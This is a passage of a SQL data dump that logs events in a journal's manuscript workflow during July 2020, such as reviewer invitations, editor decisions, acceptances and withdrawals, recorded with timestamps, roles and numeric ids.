06:57:20','Publisher has been Withdrawn  article',4150,'Publisher',248),(43069,'2020-07-15 07:05:30','Manuscript Submitted by Publisher',5202,'Publisher',48),(43070,'2020-07-15 07:05:46','Publisher has been Assigned Editor',5202,'Publisher',48),(43077,'2020-07-15 07:37:43','Publisher has Invited Reviewer',5071,'Publisher',645),(43078,'2020-07-15 07:37:43','Publisher has Invited Reviewer',5071,'Publisher',645),(43079,'2020-07-15 07:37:44','Publisher has Invited Reviewer',5071,'Publisher',645),(43080,'2020-07-15 07:37:44','Publisher has Invited Reviewer',5071,'Publisher',645),(43081,'2020-07-15 07:37:45','Publisher has Invited Reviewer',5071,'Publisher',645),(43082,'2020-07-15 07:37:45','Publisher has Invited Reviewer',5071,'Publisher',645),(43094,'2020-07-15 07:59:20','Publisher has been Assigned Editor',5199,'Publisher',48),(43095,'2020-07-15 08:00:49','Publisher has Invited Reviewer',5199,'Publisher',48),(43096,'2020-07-15 08:01:03','Publisher has Invited Reviewer',5202,'Publisher',48),(43109,'2020-07-15 10:21:53','Editor has Accepted to review Manuscript',5169,'Editor',194),(43110,'2020-07-15 10:22:06','Editor has been Editor Decision Accepted article',5169,'Editor',194),(43111,'2020-07-15 10:22:27','Editor has Accepted to review Manuscript',5137,'Editor',194),(43112,'2020-07-15 10:22:40','Editor has been Editor Decision Accepted article',5137,'Editor',194),(43114,'2020-07-15 10:24:45','Publisher: Accept Notification has been sent to Author',5169,'Publisher',48),(43115,'2020-07-15 10:25:01','Publisher: Accept Notification has been sent to Author',5137,'Publisher',48),(43121,'2020-07-15 10:54:53','Publisher has Invited Reviewer',5041,'Publisher',248),(43122,'2020-07-15 10:54:54','Publisher has Invited Reviewer',5041,'Publisher',248),(43123,'2020-07-15 10:54:55','Publisher has Invited Reviewer',5041,'Publisher',248),(43124,'2020-07-15 10:54:56','Publisher has Invited Reviewer',5041,'Publisher',248),(43125,'2020-07-15 10:54:57','Publisher has Invited Reviewer',5041,'Publisher',248),(43131,'2020-07-15 11:49:57','Publisher has Unassign Editor',4709,'Publisher',673),(43136,'2020-07-15 12:04:26','Reviewer has submitted comments',5041,'Reviewer',9107),(43137,'2020-07-15 12:05:06','Publisher : Notified Editor',5041,'Publisher',248),(43138,'2020-07-15 12:05:36','Editor has Accepted to review Manuscript',5041,'Editor',359),(43139,'2020-07-15 12:05:52','Editor has been Editor Decision Accepted article',5041,'Editor',359),(43140,'2020-07-15 12:06:15','Publisher: Accept Notification has been sent to Author',5041,'Publisher',248),(43141,'2020-07-15 12:06:24','Publisher has been Accepted Articles  article',5041,'Publisher',248),(43147,'2020-07-15 12:08:47','Reviewer has submitted comments',4387,'Reviewer',9107),(43148,'2020-07-15 12:09:26','Publisher : Notified Editor',4387,'Publisher',248),(43149,'2020-07-15 12:10:38','Editor has Accepted to review Manuscript',4387,'Editor',357),(43150,'2020-07-15 12:10:39','Editor has Accepted to review Manuscript',4387,'Editor',357),(43151,'2020-07-15 12:10:50','Editor has been Editor Decision Accepted article',4387,'Editor',357),(43152,'2020-07-15 12:11:12','Publisher: Accept Notification has been sent to Author',4387,'Publisher',248),(43154,'2020-07-15 12:12:52','Publisher has been Accepted Articles  article',4387,'Publisher',248),(43159,'2020-07-15 13:12:52','Publisher has Invited Reviewer',4530,'Publisher',645),(43160,'2020-07-15 13:26:29','Publisher: Accept Notification has been sent to Author',4608,'Publisher',85),(43161,'2020-07-15 13:27:49','Editor has Accepted to review Manuscript',4575,'Editor',1394),(43162,'2020-07-15 13:28:10','Editor has been Editor Decision Accepted article',4575,'Editor',1394),(43164,'2020-07-15 13:40:31','Publisher has been Assigned Editor',5197,'Publisher',75),(43165,'2020-07-15 13:40:40','Publisher has been Assigned Editor',5187,'Publisher',75),(43166,'2020-07-15 13:54:18','Publisher has Invited Reviewer',5112,'Publisher',85),(43167,'2020-07-15 13:54:19','Publisher has Invited Reviewer',5112,'Publisher',85),(43168,'2020-07-15 13:54:20','Publisher has Invited Reviewer',5112,'Publisher',85),(43169,'2020-07-15 13:54:22','Publisher has Invited Reviewer',5112,'Publisher',85),(43170,'2020-07-15 13:54:23','Publisher has Invited Reviewer',5112,'Publisher',85),(43171,'2020-07-15 13:54:24','Publisher has Invited Reviewer',5112,'Publisher',85),(43172,'2020-07-15 16:01:24','Reviewer has submitted comments',4939,'Reviewer',10529),(43174,'2020-07-16 03:22:07','Manuscript Submitted by Author using Submission form',5215,'Author',6401),(43176,'2020-07-16 04:11:23','Publisher has Invited Reviewer',5112,'Publisher',85),(43177,'2020-07-16 04:11:24','Publisher has Invited Reviewer',5112,'Publisher',85),(43187,'2020-07-16 06:29:04','Editor has Declined to review Manuscript',4531,'Editor',357),(43224,'2020-07-16 08:13:00','Reviewer has submitted comments',5111,'Reviewer',12875),(43238,'2020-07-16 09:10:55','Publisher has been Assigned Editor',5215,'Publisher',48),(43245,'2020-07-16 10:41:59','Publisher has Invited Reviewer',4724,'Publisher',376),(43246,'2020-07-16 10:42:00','Publisher has Invited Reviewer',4724,'Publisher',376),(43247,'2020-07-16 10:42:00','Publisher has Invited Reviewer',4724,'Publisher',376),(43248,'2020-07-16 10:42:00','Publisher has Invited Reviewer',4724,'Publisher',376),(43249,'2020-07-16 10:42:38','Publisher has Invited Reviewer',4920,'Publisher',376),(43250,'2020-07-16 10:42:56','Publisher has Invited Reviewer',4920,'Publisher',376),(43251,'2020-07-16 10:42:56','Publisher has Invited Reviewer',4920,'Publisher',376),(43252,'2020-07-16 10:42:57','Publisher has Invited Reviewer',4920,'Publisher',376),(43253,'2020-07-16 10:42:57','Publisher has Invited Reviewer',4920,'Publisher',376),(43254,'2020-07-16 10:43:47','Publisher has Invited Reviewer',5156,'Publisher',376),(43255,'2020-07-16 10:43:48','Publisher has Invited Reviewer',5156,'Publisher',376),(43256,'2020-07-16 10:43:48','Publisher has Invited Reviewer',5156,'Publisher',376),(43259,'2020-07-16 13:19:16','Publisher: Accept Notification has been sent to Author',4575,'Publisher',85),(43261,'2020-07-16 14:31:02','Manuscript Submitted by Author using Submission form',5222,'Author',6409),(43264,'2020-07-16 16:26:18','Editor has been Revise (Notify Author) article',4969,'Editor',1393),(43265,'2020-07-16 16:26:49','Reviewer has submitted comments',4706,'Reviewer',4516),(43341,'2020-07-16 21:54:10','Reviewer has submitted comments',5112,'Reviewer',8997),(43346,'2020-07-17 02:34:53','Publisher : Notified Author',4160,'Publisher',75),(43401,'2020-07-17 10:14:06','Publisher has Invited Reviewer',5109,'Publisher',248),(43402,'2020-07-17 10:14:07','Publisher has Invited Reviewer',5109,'Publisher',248),(43403,'2020-07-17 10:14:07','Publisher has Invited Reviewer',5109,'Publisher',248),(43404,'2020-07-17 10:14:08','Publisher has Invited Reviewer',5109,'Publisher',248),(43405,'2020-07-17 10:14:09','Publisher has Invited Reviewer',5109,'Publisher',248),(43406,'2020-07-17 10:14:11','Publisher has Invited Reviewer',5109,'Publisher',248),(43407,'2020-07-17 10:14:12','Publisher has Invited Reviewer',5109,'Publisher',248),(43408,'2020-07-17 10:15:46','Publisher has Invited Reviewer',5174,'Publisher',248),(43409,'2020-07-17 10:15:47','Publisher has Invited Reviewer',5174,'Publisher',248),(43410,'2020-07-17 10:15:48','Publisher has Invited Reviewer',5174,'Publisher',248),(43411,'2020-07-17 10:15:49','Publisher has Invited Reviewer',5174,'Publisher',248),(43412,'2020-07-17 10:15:49','Publisher has Invited Reviewer',5174,'Publisher',248),(43414,'2020-07-17 10:32:15','Editor has Accepted to review Manuscript',5173,'Editor',194),(43415,'2020-07-17 10:32:23','Editor has Accepted to review Manuscript',5171,'Editor',194),(43416,'2020-07-17 10:32:32','Editor has Accepted to review Manuscript',5170,'Editor',194),(43417,'2020-07-17 10:32:46','Editor has been Editor Decision Accepted article',5170,'Editor',194),(43418,'2020-07-17 10:32:57','Editor has been Editor Decision Accepted article',5171,'Editor',194),(43419,'2020-07-17 10:33:10','Editor has been Editor Decision Accepted article',5173,'Editor',194),(43422,'2020-07-17 11:30:25','Publisher has Invited Reviewer',5169,'Publisher',48),(43423,'2020-07-17 11:32:57','Reviewer has submitted comments',5169,'Reviewer',11689),(43424,'2020-07-17 11:33:42','Editor has been Editor Decision Accepted article',5169,'Editor',194),(43432,'2020-07-17 12:13:45','Publisher has Invited Reviewer',5215,'Publisher',48),(43434,'2020-07-17 12:57:01','Publisher has Invited Reviewer',4724,'Publisher',376),(43435,'2020-07-17 12:57:22','Publisher has Invited Reviewer',5156,'Publisher',376),(43436,'2020-07-17 12:58:07','Publisher has Invited Reviewer',4920,'Publisher',376),(43437,'2020-07-17 12:58:07','Publisher has Invited Reviewer',4920,'Publisher',376),(43438,'2020-07-17 13:53:34','Publisher has been Withdrawn  article',4618,'Publisher',248),(43439,'2020-07-17 14:43:30','Manuscript Submitted by Author using Submission form',5232,'Author',6418),(43440,'2020-07-17 17:23:24','Manuscript Submitted by Author',5233,'Author',4635),(43443,'2020-07-17 20:02:11','Author sent Email',4187,'Author',3790),(43444,'2020-07-17 21:21:50','Reviewer has submitted comments',4709,'Reviewer',11353),(43468,'2020-07-18 06:23:35','Publisher: Accept Notification has been sent to Author',5171,'Publisher',48),(43469,'2020-07-18 06:23:48','Publisher: Accept Notification has been sent to Author',5170,'Publisher',48),(43470,'2020-07-18 06:24:05','Publisher: Accept Notification has been sent to Author',5170,'Publisher',48),(43479,'2020-07-18 07:54:16','Manuscript Submitted by Author using Submission form',5240,'Author',6430),(43517,'2020-07-18 08:54:16','Publisher has been Assigned Editor',5232,'Publisher',75),(43525,'2020-07-18 09:09:52','Publisher has been Accepted Articles  article',4608,'Publisher',85),(43526,'2020-07-18 09:10:18','Publisher : Notified Author',4969,'Publisher',85),(43531,'2020-07-18 09:35:59','Publisher has Invited Reviewer',5170,'Publisher',48),(43532,'2020-07-18 09:36:15','Publisher has Invited Reviewer',5171,'Publisher',48),(43533,'2020-07-18 09:36:32','Publisher has Invited Reviewer',5173,'Publisher',48),(43534,'2020-07-18 09:48:24','Reviewer has submitted comments',5170,'Reviewer',11689),(43535,'2020-07-18 09:49:53','Editor has been Editor Decision Accepted article',5170,'Editor',194),(43536,'2020-07-18 09:50:05','Editor has been Editor Decision Accepted article',5171,'Editor',194),(43537,'2020-07-18 09:50:20','Editor has been Editor Decision Accepted article',5173,'Editor',194),(43538,'2020-07-18 11:04:13','Publisher : Notified Editor',5112,'Publisher',85),(43541,'2020-07-18 12:41:26','Reviewer has submitted comments',4637,'Reviewer',12897),(43544,'2020-07-18 17:10:02','Author sent Email',4498,'Author',5699),(43545,'2020-07-18 17:12:02','Author sent Email',4498,'Author',5699),(43547,'2020-07-18 19:46:28','Manuscript Submitted by Author using Submission form',5245,'Author',6436),(43552,'2020-07-19 06:39:49','Publisher has been Assigned Editor',5222,'Publisher',376),(43553,'2020-07-19 06:40:37','Manuscript Updated',5222,'Publisher',376),(43554,'2020-07-19 07:01:55','Manuscript Submitted by Author using Submission form',5249,'Author',6440),(43593,'2020-07-20 04:54:52','Publisher has been Assigned Editor',5233,'Publisher',274),(43597,'2020-07-20 05:27:49','Editor has Accepted to review Manuscript',5199,'Editor',194),(43598,'2020-07-20 05:28:00','Editor has been Editor Decision Accepted article',5199,'Editor',194),(43599,'2020-07-20 05:28:47','Publisher: Accept Notification has been sent to Author',5199,'Publisher',48),(43625,'2020-07-20 07:29:43','Editor has been Editor Decision Accepted article',5112,'Editor',1393),(43626,'2020-07-20 07:30:56','Publisher: Accept Notification has been sent to Author',5112,'Publisher',85),(43628,'2020-07-20 08:20:02','Publisher : Notified Editor',4706,'Publisher',645),(43629,'2020-07-20 08:21:02','Editor has Accepted to review Manuscript',4706,'Editor',633),(43630,'2020-07-20 08:21:33','Editor has been Editor Decision Accepted article',4706,'Editor',633),(43631,'2020-07-20 08:22:12','Publisher: Accept Notification has been sent to Author',4706,'Publisher',645),(43632,'2020-07-20 08:22:27','Publisher has been Accepted Articles  article',4706,'Publisher',645),(43682,'2020-07-20 11:22:34','Publisher has been Accepted Articles  article',4575,'Publisher',85),(43683,'2020-07-20 11:22:50','Publisher has been Accepted Articles  article',5112,'Publisher',85),(43684,'2020-07-20 11:26:40','Publisher has Invited Reviewer',5222,'Publisher',376),(43685,'2020-07-20 11:26:41','Publisher has Invited Reviewer',5222,'Publisher',376),(43686,'2020-07-20 11:26:41','Publisher has Invited Reviewer',5222,'Publisher',376),(43687,'2020-07-20 11:26:42','Publisher has Invited Reviewer',5222,'Publisher',376),(43688,'2020-07-20 11:27:03','Publisher has Invited Reviewer',5156,'Publisher',376),(43689,'2020-07-20 11:27:25','Publisher has Invited Reviewer',4920,'Publisher',376),(43690,'2020-07-20 11:27:44','Publisher has Invited Reviewer',4724,'Publisher',376),(43691,'2020-07-20 11:36:19','Editor has Accepted to review Manuscript',4709,'Editor',1456),(43692,'2020-07-20 11:36:33','Editor has been Editor Decision Accepted article',4709,'Editor',1456),(43693,'2020-07-20 11:39:15','Editor has been Editor Decision Accepted article',4623,'Editor',1235),(43694,'2020-07-20 11:40:21','Publisher has been Accepted Articles  article',4623,'Publisher',274),(43698,'2020-07-20 11:46:32','Publisher has Invited Reviewer',5233,'Publisher',274),(43700,'2020-07-20 11:46:36','Publisher has Invited Reviewer',5233,'Publisher',274),(43701,'2020-07-20 11:46:39','Publisher has Invited Reviewer',5233,'Publisher',274),(43702,'2020-07-20 11:46:43','Publisher has Invited Reviewer',5233,'Publisher',274),(43703,'2020-07-20 11:46:46','Publisher has Invited Reviewer',5233,'Publisher',274),(43721,'2020-07-20 13:06:57','Reviewer has submitted comments',4709,'Reviewer',11355),(43724,'2020-07-20 13:26:38','Publisher has Invited Reviewer',5187,'Publisher',75),(43725,'2020-07-20 13:26:40','Publisher has Invited Reviewer',5187,'Publisher',75),(43726,'2020-07-20 13:26:40','Publisher has Invited Reviewer',5187,'Publisher',75),(43727,'2020-07-20 13:26:41','Publisher has Invited Reviewer',5187,'Publisher',75),(43728,'2020-07-20 13:27:05','Publisher has Invited Reviewer',5197,'Publisher',75),(43729,'2020-07-20 13:27:06','Publisher has Invited Reviewer',5197,'Publisher',75),(43730,'2020-07-20 13:27:20','Publisher has Invited Reviewer',5232,'Publisher',75),(43734,'2020-07-21 01:28:09','Reviewer has submitted comments',4724,'Reviewer',7021),(43736,'2020-07-21 02:46:10','Publisher has been Accepted Articles  article',3974,'Publisher',75),(43737,'2020-07-21 02:46:37','Publisher has Invited Reviewer',4187,'Publisher',75),(43738,'2020-07-21 02:46:38','Publisher has Invited Reviewer',4187,'Publisher',75),(43739,'2020-07-21 04:38:25','Editor has been Editor Decision Rejected article',3135,'Editor',1370),(43742,'2020-07-21 05:02:15','Editor has been Editor Decision Rejected article',3882,'Editor',1370),(43757,'2020-07-21 06:39:18','Publisher has been Withdrawn  article',4438,'Publisher',48),(43758,'2020-07-21 06:39:26','Publisher has been Withdrawn  article',4439,'Publisher',48),(43759,'2020-07-21 06:42:10','Publisher has been Withdrawn  article',4183,'Publisher',48),(43760,'2020-07-21 06:50:26','Publisher has been Withdrawn  article',3219,'Publisher',48),(43761,'2020-07-21 07:04:36','Manuscript Submitted by Publisher',5269,'Publisher',984),(43762,'2020-07-21 07:04:53','Publisher has been Assigned Editor',5269,'Publisher',984),(43764,'2020-07-21 07:16:54','Publisher has been Rejected Articles  article',3882,'Publisher',673),(43765,'2020-07-21 07:17:09','Publisher has been Rejected Articles  article',3135,'Publisher',673),(43808,'2020-07-21 09:42:45','Reviewer has submitted comments',5171,'Reviewer',11689),(43878,'2020-07-21 12:50:32','Reviewer has submitted comments',5173,'Reviewer',11689),(43892,'2020-07-21 18:32:30','Manuscript has been Revised',4483,'Author',5690),(43958,'2020-07-22 08:39:34','Author sent Email',5103,'Author',6279),(43969,'2020-07-22 09:05:37','Publisher has been Withdrawn  article',4465,'Publisher',673),(43973,'2020-07-22 09:56:16','Manuscript Submitted by Publisher',5291,'Publisher',48),(43974,'2020-07-22 09:56:25','Publisher has been Assigned Editor',5291,'Publisher',48),(43975,'2020-07-22 10:19:20','Manuscript Submitted by Author using Submission form',5293,'Author',6484),(43976,'2020-07-22 10:45:33','Manuscript Submitted by Author using Submission form',5294,'Author',6485),(44000,'2020-07-22 12:27:34','Publisher has Unassign Editor',4531,'Publisher',248),(44008,'2020-07-22 13:49:45','Manuscript Submitted by Author using Submission form',5299,'Author',6489),(44025,'2020-07-22 14:47:31','Publisher has been Assigned Editor',5294,'Publisher',85),(44026,'2020-07-22 14:48:13','Publisher has been Assigned Editor',5293,'Publisher',85),(44027,'2020-07-22 15:01:12','Publisher has Invited Reviewer',5294,'Publisher',85),(44028,'2020-07-22 15:01:13','Publisher has Invited Reviewer',5294,'Publisher',85),(44029,'2020-07-22 15:01:14','Publisher has Invited Reviewer',5294,'Publisher',85),(44030,'2020-07-22 15:01:15','Publisher has Invited Reviewer',5294,'Publisher',85),(44031,'2020-07-22 15:01:16','Publisher has Invited Reviewer',5294,'Publisher',85),(44032,'2020-07-22 15:01:36','Publisher has Invited Reviewer',5293,'Publisher',85),(44033,'2020-07-22 15:01:37','Publisher has Invited Reviewer',5293,'Publisher',85),(44034,'2020-07-22 15:01:38','Publisher has Invited Reviewer',5293,'Publisher',85),(44035,'2020-07-22 15:01:39','Publisher has Invited Reviewer',5293,'Publisher',85),(44036,'2020-07-22 15:01:40','Publisher has Invited Reviewer',5293,'Publisher',85),(44037,'2020-07-22 15:12:42','Publisher has Invited Reviewer',5294,'Publisher',85),(44038,'2020-07-22 15:12:43','Publisher has Invited Reviewer',5294,'Publisher',85),(44039,'2020-07-22 15:12:44','Publisher has Invited Reviewer',5294,'Publisher',85),(44040,'2020-07-22 15:13:01','Publisher has Invited Reviewer',5293,'Publisher',85),(44041,'2020-07-22 15:13:02','Publisher has Invited Reviewer',5293,'Publisher',85),(44042,'2020-07-22 18:15:42','Editor has Accepted to review Manuscript',5293,'Editor',1439),(44043,'2020-07-22 18:22:35','Editor sent Email',5293,'Editor',1439),(44082,'2020-07-23 05:42:55','Publisher has Invited Reviewer',5291,'Publisher',48),(44087,'2020-07-23 07:03:20','Manuscript Submitted by Publisher',5314,'Publisher',48),(44091,'2020-07-23 07:13:53','Publisher has been Assigned Editor',5299,'Publisher',85),(44092,'2020-07-23 07:14:33','Publisher has Invited Reviewer',5299,'Publisher',85),(44093,'2020-07-23 07:14:34','Publisher has Invited Reviewer',5299,'Publisher',85),(44094,'2020-07-23 07:14:35','Publisher has Invited Reviewer',5299,'Publisher',85),(44095,'2020-07-23 07:14:36','Publisher has Invited Reviewer',5299,'Publisher',85),(44096,'2020-07-23 07:14:37','Publisher has Invited Reviewer',5299,'Publisher',85),(44097,'2020-07-23 07:14:38','Publisher has Invited Reviewer',5299,'Publisher',85),(44098,'2020-07-23 07:14:39','Publisher has Invited Reviewer',5299,'Publisher',85),(44103,'2020-07-23 08:10:33','Publisher has been Withdrawn  article',5269,'Publisher',984),(44104,'2020-07-23 08:13:36','Publisher has been Assigned Editor',4827,'Publisher',984),(44105,'2020-07-23 08:21:15','Author sent Email',4709,'Author',5925),(44106,'2020-07-23 08:38:14','Publisher has been Withdrawn  article',4709,'Publisher',673),(44108,'2020-07-23 09:08:47','Reviewer has submitted comments',4466,'Reviewer',9109),(44109,'2020-07-23 09:09:13','Publisher : Notified Editor',4466,'Publisher',248),(44110,'2020-07-23 09:09:32','Publisher has been Withdrawn  article',4218,'Publisher',673),(44111,'2020-07-23 09:10:14','Editor has Accepted to review Manuscript',4466,'Editor',358),(44112,'2020-07-23 09:10:30','Editor has been Editor Decision Accepted article',4466,'Editor',358),(44113,'2020-07-23 09:10:51','Publisher has been Accepted Articles  article',4466,'Publisher',248),(44120,'2020-07-23 09:46:46','Editor has been Editor Decision Rejected article',3983,'Editor',1370),(44121,'2020-07-23 09:47:55','Publisher has been Rejected Articles  article',3983,'Publisher',673),(44122,'2020-07-23 10:09:47','Editor has Accepted to review Manuscript',4272,'Editor',194),(44123,'2020-07-23 10:10:19','Editor has been Editor Decision Accepted article',4313,'Editor',194),(44124,'2020-07-23 10:10:35','Editor has been Editor Decision Accepted article',4272,'Editor',194),(44125,'2020-07-23 10:10:43','Editor has Accepted to review Manuscript',4328,'Editor',194),(44126,'2020-07-23 10:10:55','Editor has Accepted to review Manuscript',5123,'Editor',194),(44127,'2020-07-23 10:11:07','Editor has been Editor Decision Accepted article',5123,'Editor',194),(44128,'2020-07-23 10:11:24','Editor has Accepted to review Manuscript',4715,'Editor',194),(44129,'2020-07-23 10:11:37','Editor has been Editor Decision Accepted article',4715,'Editor',194),(44130,'2020-07-23 10:11:49','Editor has been Editor Decision Accepted article',4328,'Editor',194),(44131,'2020-07-23 10:12:00','Editor has Accepted to review Manuscript',4248,'Editor',194),(44132,'2020-07-23 10:12:14','Editor has been Editor Decision Accepted article',4248,'Editor',194),(44133,'2020-07-23 10:13:25','Editor has Accepted to review Manuscript',4589,'Editor',193),(44134,'2020-07-23 10:13:35','Editor has been Editor Decision Accepted article',4589,'Editor',193),(44137,'2020-07-23 10:15:53','Editor has been Editor Decision Accepted article',4840,'Editor',195),(44142,'2020-07-23 11:01:42','Manuscript Submitted by Publisher',5318,'Publisher',85),(44145,'2020-07-23 11:02:47','Publisher has been Assigned Editor',5318,'Publisher',85),(44148,'2020-07-23 11:03:21','Publisher has Invited Reviewer',5318,'Publisher',85),(44149,'2020-07-23 11:03:22','Publisher has Invited Reviewer',5318,'Publisher',85),(44150,'2020-07-23 11:03:23','Publisher has Invited Reviewer',5318,'Publisher',85),(44151,'2020-07-23 11:03:24','Publisher has Invited Reviewer',5318,'Publisher',85),(44152,'2020-07-23 11:03:25','Publisher has Invited Reviewer',5318,'Publisher',85),(44153,'2020-07-23 11:03:26','Publisher has Invited Reviewer',5318,'Publisher',85),(44154,'2020-07-23 11:03:27','Publisher has Invited Reviewer',5318,'Publisher',85),(44155,'2020-07-23 11:03:28','Publisher has Invited Reviewer',5318,'Publisher',85),(44156,'2020-07-23 11:03:29','Publisher has Invited Reviewer',5318,'Publisher',85),(44157,'2020-07-23 11:03:30','Publisher has Invited Reviewer',5318,'Publisher',85),(44158,'2020-07-23 11:03:31','Publisher has Invited Reviewer',5318,'Publisher',85),(44159,'2020-07-23 11:20:26','Publisher has Invited Reviewer',4939,'Publisher',48),(44164,'2020-07-23 12:15:12','Publisher has been Assigned Editor',5314,'Publisher',48),(44165,'2020-07-23 12:15:41','Publisher has Invited Reviewer',5314,'Publisher',48),(44167,'2020-07-23 12:39:23','Publisher has been Assigned Editor',5249,'Publisher',75),(44175,'2020-07-23 13:42:50','Publisher has been Accepted Articles  article',4117,'Publisher',319),(44185,'2020-07-23 18:22:47','Reviewer has submitted comments',4709,'Reviewer',11351),(44198,'2020-07-24 04:45:25','Publisher : Notified Editor',4483,'Publisher',84),(44199,'2020-07-24 04:57:51','Editor has been Editor Decision Accepted article',4483,'Editor',222),(44200,'2020-07-24 04:58:56','Publisher: Accept Notification has been sent to Author',4483,'Publisher',84),(44202,'2020-07-24 05:27:42','Manuscript Submitted by Author using Submission form',5332,'Author',6515),(44203,'2020-07-24 05:30:17','Publisher has Invited Reviewer',4580,'Publisher',645),(44204,'2020-07-24 05:31:04','Publisher has Invited Reviewer',4530,'Publisher',645),(44210,'2020-07-24 05:41:11','Reviewer has submitted comments',4580,'Reviewer',10779),(44211,'2020-07-24 05:42:16','Publisher : Notified Editor',4580,'Publisher',645),(44214,'2020-07-24 05:43:24','Editor has Accepted to review Manuscript',4580,'Editor',634),(44215,'2020-07-24 05:43:54','Editor has been Editor Decision Accepted article',4580,'Editor',634),(44226,'2020-07-24 05:46:07','Publisher: Accept Notification has been sent to Author',4580,'Publisher',645),(44228,'2020-07-24 05:51:03','Publisher has been Accepted Articles  article',4580,'Publisher',645),(44229,'2020-07-24 05:52:32','Reviewer has submitted comments',4530,'Reviewer',8796),(44230,'2020-07-24 05:53:11','Publisher : Notified Editor',4530,'Publisher',645),(44231,'2020-07-24 05:54:31','Editor has Accepted to review Manuscript',4530,'Editor',633),(44232,'2020-07-24 05:54:57','Editor has been Editor Decision Accepted article',4530,'Editor',633),(44233,'2020-07-24 05:55:55','Publisher: Accept Notification has been sent to Author',4530,'Publisher',645),(44234,'2020-07-24 05:56:12','Publisher has been Accepted Articles  article',4530,'Publisher',645),(44235,'2020-07-24 05:58:23','Editor has been Editor Decision Accepted article',4939,'Editor',194),(44236,'2020-07-24 05:59:14','Publisher has been Accepted Articles  article',4939,'Publisher',48),(44237,'2020-07-24 05:59:32','Publisher has been Accepted Articles  article',5170,'Publisher',48),(44238,'2020-07-24 05:59:40','Publisher has been Accepted Articles  article',5169,'Publisher',48),(44239,'2020-07-24 05:59:48','Publisher has been Accepted Articles  article',5171,'Publisher',48),(44240,'2020-07-24 05:59:55','Publisher has been Accepted Articles  article',5173,'Publisher',48),(44243,'2020-07-24 06:05:31','Publisher has Invited Reviewer',3339,'Publisher',48),(44253,'2020-07-24 06:16:51','Reviewer has submitted comments',3563,'Reviewer',11689),(44254,'2020-07-24 06:17:19','Reviewer has submitted comments',3562,'Reviewer',11689),(44255,'2020-07-24 06:17:59','Reviewer has submitted comments',3870,'Reviewer',11689),(44256,'2020-07-24 06:19:14','Reviewer has submitted comments',4396,'Reviewer',11689),(44257,'2020-07-24 06:20:32','Reviewer has submitted comments',3971,'Reviewer',11689),(44259,'2020-07-24 06:22:27','Reviewer has submitted comments',3339,'Reviewer',11689),(44272,'2020-07-24 07:48:58','Publisher has been Assigned Editor',5245,'Publisher',75),(44273,'2020-07-24 07:49:09','Publisher has been Assigned Editor',5240,'Publisher',75),(44274,'2020-07-24 07:49:48','Manuscript Updated',5245,'Publisher',75),(44294,'2020-07-24 09:08:50','Publisher has Invited Reviewer',5199,'Publisher',48),(44297,'2020-07-24 09:09:50','Reviewer has submitted comments',5199,'Reviewer',11689),(44298,'2020-07-24 09:11:19','Editor has been Editor Decision Accepted article',5199,'Editor',194),(44318,'2020-07-24 10:04:13','Publisher has Invited Reviewer',5293,'Publisher',85),(44319,'2020-07-24 10:04:14','Publisher has Invited Reviewer',5293,'Publisher',85),(44320,'2020-07-24 10:04:15','Publisher has Invited Reviewer',5293,'Publisher',85),(44321,'2020-07-24 10:04:16','Publisher has Invited Reviewer',5293,'Publisher',85),(44322,'2020-07-24 10:04:18','Publisher has Invited Reviewer',5293,'Publisher',85),(44323,'2020-07-24 10:04:19','Publisher has Invited Reviewer',5293,'Publisher',85),(44324,'2020-07-24 10:04:49','Publisher : Notified Author',4969,'Publisher',85),(44325,'2020-07-24 10:06:32','Publisher has Invited Reviewer',5294,'Publisher',85),(44326,'2020-07-24 10:06:33','Publisher has Invited Reviewer',5294,'Publisher',85),(44327,'2020-07-24 10:06:34','Publisher has Invited Reviewer',5294,'Publisher',85),(44328,'2020-07-24 10:06:35','Publisher has Invited Reviewer',5294,'Publisher',85),(44329,'2020-07-24 10:06:37','Publisher has Invited Reviewer',5294,'Publisher',85),(44330,'2020-07-24 10:06:38','Publisher has Invited Reviewer',5294,'Publisher',85),(44331,'2020-07-24 10:06:39','Publisher has Invited Reviewer',5294,'Publisher',85),(44332,'2020-07-24 10:06:40','Publisher has Invited Reviewer',5294,'Publisher',85),(44333,'2020-07-24 10:06:41','Publisher has Invited Reviewer',5294,'Publisher',85),(44334,'2020-07-24 10:06:42','Publisher has Invited Reviewer',5294,'Publisher',85),(44335,'2020-07-24 10:06:43','Publisher has Invited Reviewer',5294,'Publisher',85),(44336,'2020-07-24 10:25:31','Publisher has Invited Reviewer',5318,'Publisher',85),(44337,'2020-07-24 10:25:32','Publisher has Invited Reviewer',5318,'Publisher',85),(44338,'2020-07-24 10:25:33','Publisher has Invited Reviewer',5318,'Publisher',85),(44339,'2020-07-24 10:25:34','Publisher has Invited Reviewer',5318,'Publisher',85),(44340,'2020-07-24 10:25:35','Publisher has Invited Reviewer',5318,'Publisher',85),(44341,'2020-07-24 10:25:36','Publisher has Invited Reviewer',5318,'Publisher',85),(44344,'2020-07-24 10:36:14','Publisher has Invited Reviewer',5299,'Publisher',85),(44345,'2020-07-24 10:36:15','Publisher has Invited Reviewer',5299,'Publisher',85),(44346,'2020-07-24 10:36:16','Publisher has Invited Reviewer',5299,'Publisher',85),(44347,'2020-07-24 10:36:17','Publisher has Invited Reviewer',5299,'Publisher',85),(44367,'2020-07-24 11:42:32','Reviewer has submitted comments',5299,'Reviewer',13884),(44368,'2020-07-24 11:44:12','Publisher has been Accepted Articles  article',5199,'Publisher',48),(44370,'2020-07-24 12:09:45','Publisher has Invited Reviewer',5137,'Publisher',48),(44371,'2020-07-24 12:11:27','Reviewer has submitted comments',5137,'Reviewer',11689),(44372,'2020-07-24 12:12:28','Editor has been Editor Decision Accepted article',5137,'Editor',194),(44376,'2020-07-24 12:30:02','Publisher has been Accepted Articles  article',5137,'Publisher',48),(44393,'2020-07-24 14:23:43','Author sent Email',5111,'Author',6288),(44411,'2020-07-25 04:07:13','Publisher has Invited Reviewer',4005,'Publisher',75),(44412,'2020-07-25 04:07:14','Publisher has Invited Reviewer',4005,'Publisher',75),(44413,'2020-07-25 04:07:39','Publisher has Invited Reviewer',4134,'Publisher',75),(44414,'2020-07-25 04:09:25','Publisher has Invited Reviewer',4322,'Publisher',75),(44415,'2020-07-25 04:09:51','Publisher has been Accepted Articles  article',3999,'Publisher',75),(44421,'2020-07-25 07:08:20','Reviewer has submitted comments',4445,'Reviewer',11589),(44422,'2020-07-25 07:09:28','Reviewer has submitted comments',4134,'Reviewer',11589),(44424,'2020-07-25 07:44:43','Editor has been Editor Decision Accepted article',4241,'Editor',161),(44425,'2020-07-25 07:45:19','Publisher: Accept Notification has been sent to Author',4241,'Publisher',75),(44429,'2020-07-25 07:47:27','Editor has been Editor Decision Accepted 